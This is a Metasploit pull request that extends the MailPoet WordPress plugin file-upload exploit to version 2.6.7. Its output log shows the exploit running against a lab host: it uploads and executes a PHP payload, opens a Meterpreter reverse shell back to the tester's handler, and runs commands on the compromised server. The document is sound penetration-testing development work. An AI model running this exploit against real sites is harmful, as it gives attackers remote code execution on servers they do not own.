rapid7/metasploit-framework — pull request #3494 by FireFart (2014-07-06 08:56:24+00:00)
Title: Updated Mailpoet exploit

The developers fix in version 2.6.7 was not correct so it's possible to exploit the vuln in 2.6.7 too. It was fixed in version 2.6.8.

### Output
```
firefart@mint ~/coding/metasploit-framework $ ./msfcli exploit/unix/webapp/wp_wysija_newsletters_upload RHOST=192.168.126.164 C
[*] Initializing modules...
[*] 192.168.126.164:80 - Found version 2.6.7 of the plugin
[*] The target appears to be vulnerable.

firefart@mint ~/coding/metasploit-framework $ ./msfcli exploit/unix/webapp/wp_wysija_newsletters_upload RHOST=192.168.126.164 E
[*] Initializing modules...
RHOST => 192.168.126.164
[*] Started reverse handler on 192.168.126.128:4444
[*] 192.168.126.164:80 - Uploading payload to /wp-content/uploads/wysija/themes/SQPBkiXgFS/LFdDdgADVo.php
[!] 192.168.126.164:80 - The theme folder SQPBkiXgFS can not be removed. Please delete it manually.
[*] 192.168.126.164:80 - Executing payload /wp-content/uploads/wysija/themes/SQPBkiXgFS/LFdDdgADVo.php
[*] Sending stage (40063 bytes) to 192.168.126.164
[*] Meterpreter session 1 opened (192.168.126.128:4444 -> 192.168.126.164:60558) at 2014-07-06 10:50:29 +0200
[+] Deleted style.css
[+] Deleted LFdDdgADVo.php

meterpreter > sysinfo
Computer : wordpress
OS : Linux wordpress 3.13.0-30-generic #54-Ubuntu SMP Mon Jun 9 22:45:01 UTC 2014 x86_64
Meterpreter : php/php
meterpreter > shell
Process 1476 created.
Channel 0 created.
grep -i "stable tag" /var/www/wordpress/wp-content/plugins/wysija-newsletters/readme.txt
Stable tag: 2.6.7
exit
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.126.164 - Meterpreter session 1 closed. Reason: User exit
```

CC @brandonprry @jvazquez-r7 maybe you haven't removed your test systems yet ;)